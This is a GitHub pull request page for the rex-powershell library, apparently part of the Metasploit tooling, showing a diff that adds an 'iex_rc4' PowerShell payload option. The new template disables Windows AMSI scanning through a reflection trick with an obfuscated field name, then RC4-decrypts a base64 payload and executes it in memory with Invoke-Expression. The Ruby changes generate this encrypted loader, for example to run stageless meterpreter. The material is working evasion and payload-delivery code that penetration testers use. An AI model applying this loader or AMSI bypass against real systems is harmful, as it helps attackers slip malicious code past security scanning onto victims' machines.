Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add option to use Invoke-Expression and RC4 #14

Merged
merged 16 commits into from Feb 21, 2020
Merged
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
42 changes: 42 additions & 0 deletions data/templates/iex_rc4.ps1.template
@@ -0,0 +1,42 @@
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsi%{random_string}Failed'.replace('%{random_string}','Init'),'NonPublic,Static').SetValue($null,$true)

function %{func_rc4_decrypt} {
param([Byte[]]$%{var_rc4buffer})

$%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")

$s = New-Object Byte[] 256;
$k = New-Object Byte[] 256;

for ($i = 0; $i -lt 256; $i++)
{
$s[$i] = [Byte]$i;
$k[$i] = $%{var_key}[$i %% $%{var_key}.Length];
}

$j = 0;
for ($i = 0; $i -lt 256; $i++)
{
$j = ($j + $s[$i] + $k[$i]) %% 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
}

$i = $j = 0;
for ($x = 0; $x -lt $%{var_rc4buffer}.Length; $x++)
{
$i = ($i + 1) %% 256;
$j = ($j + $s[$i]) %% 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
[int]$t = ($s[$i] + $s[$j]) %% 256;
$%{var_rc4buffer}[$x] = $%{var_rc4buffer}[$x] -bxor $s[$t];
}

$%{var_rc4buffer}
}

Invoke-Expression ([system.Text.Encoding]::UTF8).GetString((%{func_rc4_decrypt} ([System.Convert]::FromBase64String("%{b64payload}"))))

90 changes: 61 additions & 29 deletions lib/rex/powershell/command.rb
Expand Up @@ -252,43 +252,22 @@ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
end
end


#
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line and generate_psh_args
# Generate the PSH payload from the template
#
# @param pay [String] The payload shellcode
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param template_path [String] The template path
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
# argument in double quotes unless :encode_final_payload
# @option opts [TrueClass,FalseClass] :exec_in_place Removes the
# executable wrappers from the powershell code returning raw PSH
# for executing with an existing PSH context
#
# @return [String] Powershell command line with payload
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end

if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end

# @return [String] Powershell payload
def self.generate_psh_payload(pay, template_path, opts = {})
psh_payload = case opts[:method]
when 'net'
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
Expand Down Expand Up @@ -316,6 +295,53 @@ def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
end
end

return psh_payload
end

#
# Creates a powershell command line string which will execute the
# payload in a hidden window in the appropriate execution environment
# for the payload architecture. Opts are passed through to
# run_hidden_psh, generate_psh_command_line, generate_psh_payload and
# generate_psh_args
#
# @param pay [String] The payload shellcode
# @param template_path [String] The template path
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
# @param opts [Hash] The options to generate the command
# @option opts [Boolean] :persist Loop the payload to cause
# re-execution if the shellcode finishes
# @option opts [Integer] :prepend_sleep Sleep for the specified time
# before executing the payload
# @option opts [String] :method The powershell injection technique to
# use: 'net'/'reflection'/'old'
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
# script within the hidden/architecture detection wrapper
# @option opts [Boolean] :encode_final_payload Encodes the final
# powershell script
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
# environment variable at the start of the command line
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
# argument in double quotes unless :encode_final_payload
# @option opts [TrueClass,FalseClass] :exec_in_place Removes the
# executable wrappers from the powershell code returning raw PSH
# for executing with an existing PSH context
# @option opts [TrueClass,FalseClass] :exec_no_wrap Execute PSH
# directly using Invoke-Expression to allow larger payloads such as
# stageless meterpreter; create no new hidden window
#
# @return [String] Powershell command line with payload
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end

if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end

psh_payload = generate_psh_payload(pay, template_path, opts)

compressed_payload = compress_script(psh_payload, nil, opts)
encoded_payload = encode_script(psh_payload, opts)

Expand Down Expand Up @@ -366,15 +392,21 @@ def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
else
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)

if opts[:remove_comspec] or opts[:exec_in_place]
if opts[:exec_no_wrap]
psh_command = Rex::Powershell::Payload.to_iex_rc4(template_path, psh_payload)
else
psh_command = generate_psh_command_line(command_args)
end


if opts[:remove_comspec] or opts[:exec_in_place] or opts[:exec_no_wrap]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end

if command.length > 8191
if command.length > 8191 && !opts[:exec_no_wrap]
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end

Expand Down
23 changes: 23 additions & 0 deletions lib/rex/powershell/payload.rb
@@ -1,5 +1,6 @@
# -*- coding: binary -*-
require 'rex/random_identifier'
require 'rc4'

module Rex
module Powershell
Expand Down Expand Up @@ -106,6 +107,28 @@ def self.to_win32pe_psh_msil(template_path = TEMPLATE_DIR, code)
read_replace_script_template(template_path, "to_mem_msil.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end

#
# PSH script that executes an RC4 encrypted payload with Invoke-Expression and disables AMSI beforehand.
# by Adrian Vollmer (SySS GmbH, https://www.syss.de)
#
def self.to_iex_rc4(template_path = TEMPLATE_DIR, code)
rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
rig.init_var(:func_rc4_decrypt)
rig.init_var(:var_rc4buffer)
rig.init_var(:var_key)
rig.init_var(:random_string)

key = Rex::Text.rand_text_alpha(rand(8)+8)
rc4 = RC4.new(key)
enc_code = rc4.encrypt(code)

hash_sub = rig.to_h
hash_sub[:random_key] = key
hash_sub[:b64payload] = Rex::Text.encode_base64(enc_code)

read_replace_script_template(template_path, "iex_rc4.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end

end
end
end
1 change: 1 addition & 0 deletions rex-powershell.gemspec
Expand Up @@ -26,4 +26,5 @@ Gem::Specification.new do |spec|

spec.add_runtime_dependency 'rex-text'
spec.add_runtime_dependency 'rex-random_identifier'
spec.add_runtime_dependency 'ruby-rc4'
end